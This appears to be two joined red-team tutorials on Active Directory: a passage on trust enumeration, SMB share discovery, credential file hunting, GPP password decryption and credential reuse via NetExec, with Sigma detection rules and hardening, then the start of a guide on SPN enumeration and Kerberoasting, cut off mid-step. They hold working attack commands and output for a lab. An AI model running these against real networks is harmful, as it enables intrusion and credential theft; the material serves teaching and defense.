Decode trustAttributes: 32 is 0x20 = TRUST_ATTRIBUTE_WITHIN_FOREST (the child). 8 is 0x8 = TRUST_ATTRIBUTE_FOREST_TRANSITIVE (the partner forest trust). The 0x4 bit, TRUST_ATTRIBUTE_QUARANTINED_DOMAIN, governs SID filtering on external trusts; its absence on a trust where you expected it is your signal that filtering is not enforced. The securityIdentifier is the trusted domain SID, base64-encoded here, and it is exactly what feeds a SID-history attack later.


Flow diagram showing Kerberos inter-realm ticket referral from a child domain user through the child KDC to the root KDC and finally to the target service in corp.local
A child-domain user’s authentication crosses the trust boundary via an inter-realm TGT encrypted with the shared trust key; the PAC inside carries the SIDs that SID filtering either strips or passes through.

4. Forest Mapping with PowerView and BloodHound

Native tools tell you trusts exist. PowerView and BloodHound tell you what those trusts let you reach.

PowerView

Import-Module .\PowerView.ps1
Get-DomainTrust
SourceName      : corp.local
TargetName      : child.corp.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 3/14/2024 9:02:11 AM

SourceName      : corp.local
TargetName      : partner.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 3/14/2024 9:41:55 AM

Get-ForestTrust enumerates the cross-forest relationships by calling GetAllTrustRelationships() on a System.DirectoryServices.ActiveDirectory.Forest object:

Get-ForestTrust
TopLevelNames           : {partner.local}
ExcludedTopLevelNames   : {}
TrustedDomainInformation : {partner.local}
SourceName              : corp.local
TargetName              : partner.local
TrustType               : Forest
TrustDirection          : Bidirectional

Because the intra-forest trust is transitive and bidirectional, your jdoe token can query the child domain directly. Prove it by enumerating users across the trust:

Get-DomainUser -Domain child.corp.local -Properties samaccountname,description | ft
samaccountname  description
--------------  -----------
Administrator   Built-in account for administering the domain
krbtgt          Key Distribution Center Service Account
svc_sql         SQL service account - see setup_notes
helpdesk        Tier 2 helpdesk

That description on svc_sql is a breadcrumb pointing straight at the NETLOGON file we will read in Phase 4.

BloodHound

Collect everything, trusts included. Run SharpHound from the foothold:

PS C:\> .\SharpHound.exe --CollectionMethod All,Trusts --Domain corp.local --ZipFilename corp_data.zip
2024-06-12T14:22:01.55-04:00|INFORMATION|Initializing SharpHound at 2:22 PM on 6/12/2024
2024-06-12T14:22:02.10-04:00|INFORMATION|Loaded cache with stats: 0 ID to type mappings.
2024-06-12T14:22:45.11-04:00|INFORMATION|Status: 1842 objects finished (+1842 41.86/s) -- Using 84 MB RAM
2024-06-12T14:22:46.88-04:00|INFORMATION|Enumeration finished in 00:00:45.77
2024-06-12T14:22:47.99-04:00|INFORMATION|SharpHound Enumeration Completed at 2:22 PM on 6/12/2024! Happy Graphing!

Load the zip into BloodHound CE and run the built-in queries plus a couple of raw Cypher queries:

// Map every trust edge in the graph
MATCH (n:Domain)-[r:TrustedBy]->(m:Domain) RETURN n,r,m
// Shortest path from your owned user to Domain Admins in the child domain
MATCH p=shortestPath((u:User {name:"JDOE@CORP.LOCAL"})-[*1..]->
  (g:Group {name:"DOMAIN ADMINS@CHILD.CORP.LOCAL"})) RETURN p

The graph confirms the TrustedBy edges between CORP.LOCAL, CHILD.CORP.LOCAL, and PARTNER.LOCAL, and any cross-domain admin path the data supports. Now we know where the doors are. Time to find what is behind them.


5. SMB Share Discovery: From LDAP Computer List to NetShareEnum

Share hunting is a two-stage operation. First, get the list of computers from LDAP. Second, ask each one for its shares.

Share enumeration tools call DsGetDcName() to find a DC, query LDAP for every objectClass=computer, then fire NetShareEnum() at each host. NetShareEnum is an MSRPC call that travels over SMB through the srvsvc named pipe, and that pipe is only reachable via the IPC$ administrative share. That detail matters for detection: a single source touching IPC$ on dozens of hosts in seconds is the fingerprint of automated share discovery.

Enumerate the computer list first

Get-DomainComputer -Properties dnshostname,operatingsystem | ft
dnshostname            operatingsystem
-----------            ---------------
DC01.corp.local        Windows Server 2022 Standard
FS01.corp.local        Windows Server 2019 Standard
WS01.corp.local        Windows 11 Enterprise

Discover shares with NetExec

NetExec (the maintained CrackMapExec successor) sweeps a subnet and reports shares with your access level:

netexec smb 192.168.10.0/24 -u jdoe -p 'Password1' --shares
SMB  192.168.10.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB  192.168.10.10  445  DC01  [+] corp.local\jdoe:Password1
SMB  192.168.10.10  445  DC01  Share        Permissions   Remark
SMB  192.168.10.10  445  DC01  -----        -----------   ------
SMB  192.168.10.10  445  DC01  NETLOGON     READ          Logon server share
SMB  192.168.10.10  445  DC01  SYSVOL       READ          Logon server share
SMB  192.168.10.20  445  FS01  [*] Windows Server 2019 Build 17763 x64 (name:FS01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB  192.168.10.20  445  FS01  [+] corp.local\jdoe:Password1
SMB  192.168.10.20  445  FS01  Share        Permissions   Remark
SMB  192.168.10.20  445  FS01  -----        -----------   ------
SMB  192.168.10.20  445  FS01  ADMIN$                     Remote Admin
SMB  192.168.10.20  445  FS01  Backups      READ
SMB  192.168.10.20  445  FS01  C$                         Default share
SMB  192.168.10.20  445  FS01  IPC$         READ          Remote IPC
SMB  192.168.10.20  445  FS01  IT_Scripts   READ
SMB  192.168.10.20  445  FS01  NETLOGON     READ          Logon server share

Backups and IT_Scripts on FS01 are non-default STYPE_DISKTREE shares granting READ to a plain domain user. Also note signing:False on FS01, an NTLM relay opportunity for another day.

Confirm and test access with SMBMap and Nmap

SMBMap validates exactly what you can read or write per share, and supports pass-the-hash:

smbmap -u jdoe -p 'Password1' -d corp.local -H 192.168.10.20
[+] IP: 192.168.10.20:445   Name: FS01.corp.local       Status: Authenticated
        Disk            Permissions     Comment
        ----            -----------     -------
        ADMIN$          NO ACCESS       Remote Admin
        Backups         READ ONLY
        C$              NO ACCESS       Default share
        IPC$            READ ONLY       Remote IPC
        IT_Scripts      READ ONLY
        NETLOGON        READ ONLY       Logon server share

The Nmap NSE scripts corroborate findings from a third angle and are handy when you want a portable, audit-friendly artifact:

nmap -p 445 --script smb-enum-shares \
  --script-args smbusername=jdoe,smbpassword=Password1 192.168.10.20
PORT    STATE SERVICE
445/tcp open  microsoft-ds
| smb-enum-shares:
|   account_used: corp.local\jdoe
|   \\192.168.10.20\Backups:
|     Type: STYPE_DISKTREE
|     Anonymous access: <none>
|     Current user access: READ
|   \\192.168.10.20\IT_Scripts:
|     Type: STYPE_DISKTREE
|     Current user access: READ

PowerView from the foothold

If you would rather stay on WS01 and avoid network tooling, PowerView’s Find-DomainShare wraps NetShareEnum against every computer object:

Find-DomainShare -CheckShareAccess
Name       Type Remark             ComputerName
----       ---- ------             ------------
Backups       0                    FS01.corp.local
IT_Scripts    0                    FS01.corp.local
NETLOGON      0 Logon server share DC01.corp.local
SYSVOL        0 Logon server share DC01.corp.local

-CheckShareAccess filters down to shares the current token can actually open, which is what you want when the domain has hundreds of computers.


Graph diagram tracing the NetShareEnum call chain from an attacker tool querying LDAP for computers, connecting to IPC dollar sign, opening the srvsvc named pipe, and receiving the share list
Mass share discovery pivots on IPC$ and the srvsvc named pipe – a single source touching IPC$ on dozens of hosts in seconds is the key detection fingerprint.

6. Automated Share Permission Analysis

Knowing a share exists is not the same as knowing it is misconfigured. PowerHuntShares automates the whole pipeline: enumerate domain computers, filter to those with TCP 445 open, enumerate shares and their NTFS/share ACLs, then flag excessive privileges.

Invoke-HuntSMBShares -Threads 50 -OutputDirectory C:\Temp\ `
  -DomainController 192.168.10.10 -Credential corp\jdoe
 ---------------------------------------------------------------
 SHARE ANALYSIS
 ---------------------------------------------------------------
 [*] 3 domain computers found.
 [*] 2 computers responded on TCP 445.
 [*] 9 shares discovered.
 [*] 4 shares excluded (default).
 [*] 5 shares remaining for analysis.
 [*] 2 shares configured with excessive privileges.
 [*] 2 shares allow READ access to Everyone / Authenticated Users.
 [*] 0 shares allow WRITE access.

 Excessive-privilege shares written to:
   C:\Temp\SmbShareHunt-20240612\Results\Inventory-Excessive-Privileges.csv

Open Inventory-Excessive-Privileges.csv. The high-risk indicators are ACEs that grant Everyone, BUILTIN\Users, or Authenticated Users read or write at the share or NTFS layer:

ComputerName,ShareName,SharePath,IdentityReference,FileSystemRights,ShareAccess
FS01.corp.local,Backups,\\FS01\Backups,Everyone,Read,Read
FS01.corp.local,IT_Scripts,\\FS01\IT_Scripts,NT AUTHORITY\Authenticated Users,ReadAndExecute,Read

Two findings, both readable by any account in the domain. Everyone: Read on Backups is the worst because it does not even require domain membership. These are the shares to crawl first.


7. File Hunting and Credential Extraction

Now the payoff. The fastest tool for credential hunting at scale is Snaffler, which crawls reachable shares and classifies files by regex rules into severity buckets (Black is most interesting, then Red, Yellow, Green).

Snaffler.exe -s -d corp.local -o snaffler.log -v data
[Share] {Black}(\\FS01\Backups)
[Share] {Black}(\\FS01\IT_Scripts)
[File] {Black}<KeepCertExtRegex|R|id_rsa|1.6kB>(\\FS01\Backups\keys\id_rsa) -----BEGIN OPENSSH PRIVATE KEY-----
[File] {Red}<KeepConfigRegexRed|R|web.config|1.2kB>(\\FS01\Backups\web.config) <add key="DBPassword" value="Summer2024!"/>
[File] {Red}<KeepPasswordRegexRed|R|unattend.xml|2.1kB>(\\FS01\Backups\unattend.xml) <Value>LabPass1</Value>
[File] {Black}<KeepInScript|R|deploy.ps1|312B>(\\FS01\IT_Scripts\deploy.ps1) $cred = "Summer2024!"
[File] {Red}<KeepPasswordRegexRed|R|setup_notes.txt|48B>(\\DC02\NETLOGON\setup_notes.txt) svc_sql / P@ssw0rd123

Five hits in seconds: an SSH private key, a DB password in web.config, an autologon password in unattend.xml, a hardcoded credential in a deploy script, and the svc_sql password our LDAP description field hinted at. This is what every internal engagement looks like.

Manual content sweep

When you cannot drop a binary, a PowerShell sweep does the same job with built-ins:

Get-ChildItem \\FS01\Backups -Recurse -Include *.xml,*.config,*.ps1,*.bat,*.ini,*.txt -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|passwd|cred|secret|token|cpassword' |
  Select-Object Path,LineNumber,Line | Format-Table -Wrap
Path                              LineNumber Line
----                              ---------- ----
\\FS01\Backups\web.config                 14 <add key="DBPassword" value="Summer2024!"/>
\\FS01\Backups\unattend.xml               42       <Value>LabPass1</Value>

SYSVOL and Group Policy Preferences

The classic that still hits hard. Group Policy Preferences once let admins push credentials, and those passwords landed in Groups.xml files in SYSVOL encrypted with a static AES key that Microsoft published. Every authenticated user can read SYSVOL, so every authenticated user can read and decrypt those passwords. This maps to T1552.006.

Enumerate first. PowerSploit’s Get-GPPPassword finds and decrypts them automatically:

Get-GPPPassword -Verbose
VERBOSE: Searching \\corp.local\SYSVOL\corp.local\Policies for Groups.xml
VERBOSE: Found \\corp.local\SYSVOL\corp.local\Policies\{A2F3C1D4-9E55-4F1B-9C77-1B2E3F4A5B6C}\Machine\Preferences\Groups\Groups.xml

UserNames : {Administrator (built-in)}
NewName   : [BLANK]
Passwords : {Summer2024!}
File      : \\corp.local\SYSVOL\corp.local\Policies\{A2F3C1D4-9E55-4F1B-9C77-1B2E3F4A5B6C}\Machine\Preferences\Groups\Groups.xml

To do it by hand, read the file and pull the cpassword:

Get-Content "\\DC01\SYSVOL\corp.local\Policies\{A2F3C1D4-9E55-4F1B-9C77-1B2E3F4A5B6C}\Machine\Preferences\Groups\Groups.xml"
<?xml version="1.0" encoding="utf-8"?>
<Groups>
  <User name="Administrator (built-in)" image="2" changed="2024-03-14 10:11:22">
    <Properties action="U" newName="" fullName=""
      cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
      changeLogon="0" acctDisabled="0" userName="Administrator (built-in)"/>
  </User>
</Groups>

Decrypt the cpassword with the public AES key using gpp-decrypt on Kali:

gpp-decrypt "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
Summer2024!

The local Administrator password is Summer2024!. Notice it matches the web.config DB password too, classic password reuse, which means it almost certainly works as the local admin on FS01.

Hunting across the trust

Because the forest trust lets us read foreign SYSVOL and shares, repeat the share discovery against the child and partner subnets:

netexec smb 192.168.20.0/24 -u jdoe -p 'Password1' -d corp.local --shares
SMB  192.168.20.10  445  DC02  [*] Windows Server 2022 Build 20348 x64 (name:DC02) (domain:child.corp.local) (signing:True) (SMBv1:False)
SMB  192.168.20.10  445  DC02  [+] corp.local\jdoe:Password1
SMB  192.168.20.10  445  DC02  Share      Permissions   Remark
SMB  192.168.20.10  445  DC02  NETLOGON   READ          Logon server share
SMB  192.168.20.10  445  DC02  SYSVOL     READ          Logon server share

The cross-domain trust authenticated corp\jdoe against DC02 with no extra effort. That is the trust doing its job, and exactly why trust enumeration came first.


Illustration of a dark vault with filing cabinets and glowing documents rising upward, a magnifying glass revealing a key hidden inside an open folder
File hunting on misconfigured shares surfaces cleartext credentials, SSH keys, and encrypted passwords that any domain user can read and weaponise.

8. Lab Walkthrough: End-to-End Trust-to-Credential Chain

Tie it together. The full chain, from low-priv user to credential reuse:

  1. Trust recon. nltest /domain_trusts and Get-ADTrust revealed an intra-forest trust to child.corp.local and a forest trust to partner.local with SIDFilteringQuarantined : False.
  2. Forest mapping. PowerView and BloodHound graphed the TrustedBy edges and confirmed jdoe can query foreign domains.
  3. Share discovery. NetExec found Backups (Everyone: Read) and IT_Scripts (Authenticated Users: Read) on FS01.
  4. Permission analysis. PowerHuntShares flagged both as excessive-privilege shares.
  5. File hunting. Snaffler and Get-GPPPassword recovered Summer2024!, LabPass1, P@ssw0rd123, an id_rsa, and the GPP local admin password.
  6. Credential reuse / lateral movement PoC. Validate the recovered local admin credential.
netexec smb 192.168.10.20 -u Administrator -p 'Summer2024!' --local-auth
SMB  192.168.10.20  445  FS01  [*] Windows Server 2019 Build 17763 x64 (name:FS01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB  192.168.10.20  445  FS01  [+] FS01\Administrator:Summer2024! (Pwn3d!)

(Pwn3d!) means the GPP-recovered password is local admin on FS01. From here you would dump SAM/LSASS for more credentials. Validate the svc_sql domain credential too:

netexec smb 192.168.10.10 -u svc_sql -p 'P@ssw0rd123' -d corp.local -x "whoami /all"
SMB  192.168.10.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB  192.168.10.10  445  DC01  [+] corp.local\svc_sql:P@ssw0rd123
SMB  192.168.10.10  445  DC01  [+] Executed command via wmiexec
SMB  192.168.10.10  445  DC01  corp\svc_sql  S-1-5-21-1899771348-... SeServiceLogonRight ...

A working domain service account, harvested from a text file on a NETLOGON share. No exploit, no malware, just enumeration and a misconfiguration. The forest trust enumeration in step 1 also leaves the SID-history path against partner.local open as a follow-on, since SID filtering is disabled, but that is its own tutorial.


9. Common Attacker Techniques

TechniqueDescription
Trust enumerationnltest, Get-ADTrust, and DSEnumerateDomainTrusts() to map domains, direction, and SID-filter state.
Cross-trust account enumerationQuerying foreign-domain users/groups over a transitive trust to find targets.
Mass share discoveryNetShareEnum over srvsvc/IPC$ against every computer object pulled from LDAP.
Excessive-privilege share abuseReading shares granting Everyone / Authenticated Users access.
Credential file huntingSnaffler/SmbCrawler crawling for web.config, unattend.xml, id_rsa, .kdbx.
GPP cpassword decryptionRecovering and decrypting Groups.xml passwords from SYSVOL.
Credential reuse / PtHReplaying recovered passwords or NTLM hashes over SMB for lateral movement.
SID-history injectionAbusing trusts with SID filtering disabled to forge privileged SIDs across the boundary.

10. Detection, Threat Hunting, and Hardening

Every step above is loud if you are listening. Pair each phase with the telemetry that catches it.

Windows Security and Directory Service events

Event IDSourceTrigger
4688SecurityProcess creation; with command-line auditing, catches nltest.exe, net.exe view, and PowerShell share cmdlets.
5140SecurityNetwork share object accessed; gives IpAddress and SubjectUserName.
5145SecurityDetailed file-share access check; logs the relative target path and access type.
4663SecurityObject access on files/dirs when a SACL is set; catches reads off sensitive shares.
4776SecurityNTLM credential validation; high volume from one source signals reuse/spraying.
4768 / 4769SecurityKerberos TGT/TGS; cross-domain TGS requests expose inter-domain movement.
1644Directory Service (DC)LDAP search operations; not logged by default, surfaces bulk SharpHound/PowerView queries.

Enable 1644 by setting HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics value 15 Field Engineering to 5.

Sysmon events

Sysmon EIDWhat to hunt
1 (Process Create)nltest.exe, net.exe, PowerShell with share/trust cmdlets via CommandLine.
3 (Network Connect)Mass outbound 445/tcp to many hosts in a short window.
11 (File Create)Snaffler/SharpHound writing log/ZIP output to disk.
17/18 (Named Pipe)srvsvc pipe creation/connection from share enumeration.
22 (DNS Query)Bulk _ldap._tcp.dc._msdcs.* SRV lookups during trust/DC enumeration.

ETW providers worth tapping: Microsoft-Windows-LDAP-Client (client-side query filters, where operatingSystem attribute requests betray computer enumeration), Microsoft-Windows-SMBClient/Security, and Microsoft-Windows-SMBServer/Security.

Sigma rules

Trust discovery via nltest:

title: Domain Trust Discovery via Nltest
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith: '\nltest.exe'
    CommandLine|contains:
      - '/domain_trusts'
      - '/all_trusts'
      - '/dclist'
  condition: selection
level: medium

Mass IPC$ access indicating share sweeping:

title: Mass IPC$ Access Indicating Share Enumeration
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5140
    ShareName: 'IPC$'
  timeframe: 30s
  condition: selection | count(SubjectUserName) by IpAddress > 10
level: high

SYSVOL GPP password file access:

title: Group Policy Preferences Password File Access
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    RelativeTargetName|endswith: '\Groups.xml'
  condition: selection
level: high

Hardening

MitigationDescription
Enable SID filtering on trustsnetdom trust <trusting> /domain:<trusted> /quarantine:Yes; blocks SID-history abuse across the boundary.
Remove GPP passwordsApply KB2962486, delete legacy Groups.xml, rotate every affected account.
Audit share permissionsHunt Everyone / Authenticated Users ACEs on roots and profile shares regularly.
Strip secrets from sharesRemove or encrypt cleartext passwords, SSH keys, and dumps from general-purpose shares.
Restrict null-session enumSet RestrictNullSessAccess and enforce SMB signing to blunt relay/anon NetShareEnum.
Limit LDAP read scopeACL sensitive attributes so regular users cannot bulk-read msDS-* and trust objects.
Enable EID 1644 and 5140/5145Turn on DC LDAP diagnostic logging and Object Access -> File Share auditing.
Selective AuthenticationOn forest trusts, require explicit resource grants instead of transitive access.
Tiered administrationNever log Tier 0 credentials into Tier 1/2 systems where they land in files.

Illustration of a fortified gatehouse with a guard reviewing logs, reinforced trust bridge cables in the background and a shield with an eye symbol on the wall
Detection and hardening close the loop: SID filtering on trust bridges, SYSVOL access auditing, and Sysmon network telemetry together catch every stage of the trust-to-credential chain.

11. Tools for Trust and Share Analysis

ToolDescriptionLink
Nltest / netdomBuilt-in trust and DC enumerationlearn.microsoft.com
PowerViewGet-DomainTrust, Find-DomainShare, Find-InterestingDomainShareFilegithub.com
BloodHound / SharpHoundGraphs trusts and cross-domain attack pathsbloodhoundenterprise.io
NetExecShare enumeration, credential testing, lateral PoCnetexec.wiki
SMBMapPer-share read/write testing, pass-the-hashgithub.com
PowerHuntSharesAutomated share permission and excessive-privilege analysisgithub.com
SnafflerRecursive credential/file hunting across sharesgithub.com
ImpacketGetADUsers.py, wmiexec.py, ticket toolinggithub.com
gpp-decryptDecrypts SYSVOL GPP cpassword valueskali.org
AdFindLDAP query of trusts and OUs (-f "(objectClass=trustedDomain)")joeware.net

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Domain Trust DiscoveryT1482EID 4688/Sysmon 1 for nltest; EID 1644 for LDAP trust queries
Network Share DiscoveryT1135EID 5140/5145; Sysmon 17/18 on srvsvc; mass IPC$ access
File and Directory DiscoveryT1083EID 4663 with SACL; recursive listing patterns
Data from Network Shared DriveT1039EID 5145 read access on sensitive shares; Sysmon 11 output files
Credentials in FilesT1552.0014663 reads of web.config/unattend.xml; Snaffler artifacts
Group Policy PreferencesT1552.006EID 5145 for Groups.xml; SYSVOL access auditing
Account Discovery: Domain AccountT1087.002net user /domain, LDAP user/group queries; EID 1644
Remote Services: SMB Admin SharesT1021.002EID 4624 type 3 + 5140 ADMIN$/C$ access
Use Alternate Auth Material: Pass the HashT1550.0024776 volume; NTLM logons without preceding interactive auth
Access Token Manipulation: SID-History InjectionT1134.0054769 cross-domain with anomalous PAC SIDs; trust quarantine state

Summary

  • Trust enumeration is reconnaissance for lateral movement: it tells you which domains and forests your foothold can reach before you spend a single credential.
  • Intra-forest trusts are transitive by design, and forest trusts with SIDFilteringQuarantined : False are prime escalation paths via SID-history injection (T1134.005).
  • NetShareEnum over the srvsvc pipe and IPC$ drives mass share discovery; tools like NetExec, PowerHuntShares, and Snaffler turn that into excessive-privilege findings and recovered secrets in minutes.
  • The fastest wins are still misconfigured shares and SYSVOL GPP cpassword files, both decryptable or readable by any domain user, leading straight to credential reuse.
  • Detect the chain with Sysmon 1/3/11/17/18, Security 5140/5145/4663, and DC LDAP diagnostic 1644, then harden by enabling SID filtering, stripping secrets from shares, and auditing share ACLs.

Related Tutorials

References

SPN and Delegation Enumeration: Kerberoastable Accounts, Unconstrained, Constrained, and Resource-Based Delegation

Objective: Walk an authenticated domain foothold all the way to Domain Admin by enumerating Service Principal Names and the three Kerberos delegation models, then abusing each one: Kerberoasting weak service passwords, stealing a DC’s TGT through unconstrained delegation, riding S4U through constrained delegation, and taking over a computer object with resource-based constrained delegation. Every attack is paired with the enumeration that finds it and the telemetry that catches it.


Delegation is the part of Active Directory that punishes the gap between “configured years ago” and “still understood.” A service account someone created in 2016 with a six-character password, a print server flagged for unconstrained delegation that nobody decommissioned, a helpdesk group with GenericWrite over half the workstations: each of these collapses the domain when you know what to look for. This guide is enumeration-first by design. You find the opportunity before you ever fire a payload, because in a real engagement the finding is the deliverable and the exploit is just confirmation.

Everything below runs against a self-built lab. Nothing here is aimed at production. Build the range, break it, then read the detection section and learn to see it from the blue side.


1. Lab Build

Stand up one Windows Server 2022 domain controller and three Windows 10 Pro members in VirtualBox or VMware on a host-only network (192.168.56.0/24). Promote DC01 to a forest named lab.local, then create the objects below with their deliberate misconfigurations.

Machine / AccountRoleDeliberate misconfiguration
DC01.lab.local (192.168.56.10)Domain ControllerPrint Spooler left running; default MachineAccountQuota=10
WEB01.lab.localIIS hostTrusted for unconstrained delegation
SQL01.lab.localApp servern/a (hosts svc_sql)
COMP01.lab.localWorkstationRBCD takeover target
svc_iisDomain userSPN HTTP/WEB01.lab.local, RC4 enabled, weak password Summer2023!
svc_sqlDomain userTRUSTED_TO_AUTH_FOR_DELEGATION, msDS-AllowedToDelegateTo = cifs/DC01.lab.local, password SqlPass1!
lowprivDomain userAttacker foothold, password LowPass1!, holds GenericWrite over COMP01$

Provision the delegation flags and the RBCD-precursor ACE on the DC:

# Unconstrained delegation on WEB01
Set-ADAccountControl -Identity WEB01$ -TrustedForDelegation $true

# Constrained delegation w/ protocol transition on svc_sql
Set-ADUser svc_sql -Add @{'msDS-AllowedToDelegateTo'='cifs/DC01.lab.local'}
Set-ADAccountControl svc_sql -TrustedToAuthForDelegation $true

# GenericWrite ACE for lowpriv over COMP01 (RBCD primitive)
dsacls "CN=COMP01,CN=Computers,DC=lab,DC=local" /G "lab\lowpriv:WP;;"
The command completed successfully.

The attacker box is Kali at 192.168.56.50 with Impacket, plus a Windows attack VM carrying Rubeus, PowerView, PowerMad, and Mimikatz for the in-domain operations.


2. Kerberos Authentication Refresher

You cannot abuse Kerberos delegation without a working mental model of the ticket exchange, so build that first.

Kerberos is a ticket-based protocol with three parties: the client, the Key Distribution Center (KDC, which runs on every DC), and the service. The KDC has two faces. The Authentication Service (AS) issues the first ticket, and the Ticket-Granting Service (TGS) issues service tickets thereafter.

The flow:

  1. AS-REQ / AS-REP. The client proves it knows its own password (it encrypts a timestamp with the hash of its password as the pre-auth) and receives a Ticket-Granting Ticket (TGT). The TGT is encrypted with the krbtgt account’s secret key. The client cannot read it; it only stores and presents it.
  2. TGS-REQ / TGS-REP. When the client wants to reach a service, it sends the TGT plus the target service’s SPN to the TGS. The KDC looks up which account owns that SPN, then returns a service ticket (TGS) encrypted with that service account’s key (its NTLM hash for RC4, or its AES key).
  3. AP-REQ. The client presents the service ticket to the service. The service decrypts it with its own key, reads the embedded PAC (Privilege Attribute Certificate), and trusts the group memberships inside it for authorization.
ConceptWhat it actually does
TGTIdentity token issued on AS-REP, encrypted with the krbtgt key, presented back to the KDC
TGS / service ticketIssued by the TGS, encrypted with the service account’s key, presented to the service
PACAuthorization blob inside the ticket carrying SIDs and group membership
Encryption type (etype)0x17/23 = RC4-HMAC (NTLM hash is the key), 0x11/17 = AES128, 0x12/18 = AES256
Forwardable flagPermits a ticket to be re-presented in an S4U2Proxy request

The single fact that makes Kerberoasting possible: a service ticket is encrypted with the service account’s password-derived key, and the KDC will hand a service ticket to any authenticated principal that asks for an SPN. If that key is the RC4 key (the NTLM hash of a human-chosen password), an attacker can crack it offline. AES keys are derived through PBKDF2-style iteration and are vastly harder to attack, which is why encryption type matters at every step below.


Flowchart showing the five-step Kerberos exchange from AS-REQ through AP-REQ, with each ticket and encryption key labelled on every arrow
The KDC encrypts the service ticket with the service account’s own key – the fact that makes Kerberoasting possible.

3. Service Principal Names: Structure, Registration, and Enumeration

A Service Principal Name is the string Kerberos uses to map a service instance to the account that runs it. Format:

ServiceClass/Host:Port/ServiceName
HTTP/WEB01.lab.local
MSSQLSvc/SQL01.lab.local:1433

SPNs live in the servicePrincipalName LDAP attribute. They sit on two kinds of objects, and the distinction is everything:

  • Computer accounts auto-register SPNs (HOST/, CIFS/, LDAP/, etc.). Their passwords are 120+ character machine-generated secrets that rotate every 30 days. Cracking them offline is pointless.
  • User accounts get SPNs when an admin runs a service under a domain user. Those passwords are human-chosen. A user object with a populated servicePrincipalName is a Kerberoasting target.

Enumerate SPNs with raw LDAP

The cleanest enumeration is the LDAP filter itself, which you can run from any authenticated context. This is what every tool wraps.

# Find user objects (not computers) that have an SPN
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
  -b 'DC=lab,DC=local' \
  '(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))' \
  sAMAccountName servicePrincipalName msDS-SupportedEncryptionTypes
# svc_iis, Users, lab.local
dn: CN=svc_iis,CN=Users,DC=lab,DC=local
sAMAccountName: svc_iis
servicePrincipalName: HTTP/WEB01.lab.local
msDS-SupportedEncryptionTypes: 4

# svc_sql, Users, lab.local
dn: CN=svc_sql,CN=Users,DC=lab,DC=local
sAMAccountName: svc_sql
servicePrincipalName: MSSQLSvc/SQL01.lab.local:1433

Two findings. svc_iis has msDS-SupportedEncryptionTypes: 4, which is the RC4-only bit, so its ticket comes back as etype 23 and is the soft target. svc_sql has no encryption-type value set, which means it follows the domain default and is also a candidate. Note svc_sql also carries an SPN, which means we can get its hash and later abuse its delegation rights.

Enumerate with PowerView from a Windows foothold

Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, `
  @{N='enctypes';E={$_.'msds-supportedencryptiontypes'}}
samaccountname serviceprincipalname            enctypes
-------------- --------------------            --------
svc_iis        HTTP/WEB01.lab.local            4
svc_sql        MSSQLSvc/SQL01.lab.local:1433
krbtgt         kadmin/changepw

Ignore krbtgt; it is a built-in and its password is the domain’s crown jewel, not something you roast. The two svc_* accounts are the real findings.

The same view in BloodHound

Run SharpHound, import, and the Kerberoastable Users pre-built query lights up svc_iis and svc_sql. BloodHound’s value is not the list, it is the graph: it shows you what those accounts can reach once cracked, which is how you turn a roast into a path.

sharphound -c All -d lab.local -u lowpriv -p 'LowPass1!' --domaincontroller 192.168.56.10
2024-05-12T14:02:11 INFO  Resolved Collection Methods: Group, Sessions, ...
2024-05-12T14:02:19 INFO  Status: 312 objects finished (+312)
2024-05-12T14:02:20 INFO  Enumeration finished, compressing into 20240512140220_BloodHound.zip

4. Kerberoasting: Mechanics and Exploitation

The enumeration gave us the targets. Now the why: any authenticated user can send a TGS-REQ for HTTP/WEB01.lab.local. The KDC does not check whether you are authorized to use that service; that is the service’s job at AP-REQ time. The KDC simply encrypts the ticket with svc_iis‘s key and hands it back. If that key is RC4 (NTLM hash of Summer2023!), you crack it offline at full GPU speed, never touching the network again.

Request and extract hashes (Impacket, Linux)

GetUserSPNs.py lab.local/lowpriv:'LowPass1!' -dc-ip 192.168.56.10 -request -outputfile kerbhashes.txt
ServicePrincipalName          Name     MemberOf  PasswordLastSet      LastLogon
----------------------------  -------  --------  -------------------  -------------------
HTTP/WEB01.lab.local          svc_iis            2023-06-01 09:14:22  2024-05-10 22:31:07
MSSQLSvc/SQL01.lab.local:1433 svc_sql            2023-06-01 09:18:55  2024-05-11 08:02:44

[*] Saved TGS hashes to kerbhashes.txt
$krb5tgs$23$*svc_iis$LAB.LOCAL$HTTP/WEB01.lab.local*$a1f3...c2d9$8e0b6f...   (truncated)
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/SQL01.lab.local~1433*$77ce...91ab$f0a2...

The $krb5tgs$23$ prefix confirms RC4 (etype 23). If you see $krb5tgs$18$ that is AES256 and you switch hashcat mode. RC4 prefixes start $krb5tgs$23$*, AES128 $krb5tgs$17$*, AES256 $krb5tgs$18$*.

In-memory request from Windows (Rubeus)

/stats first so you know what you are about to touch and how loud it will be.

Rubeus.exe kerberoast /stats
[*] Total kerberoastable users : 2

 ------------------------------------------------------------
 | Supported Encryption Type        | Count |
 ------------------------------------------------------------
 | RC4_HMAC_DEFAULT                 | 1     |
 | (unspecified - likely RC4)       | 1     |
 ------------------------------------------------------------
Rubeus.exe kerberoast /outfile:hashes.txt /rc4opsec
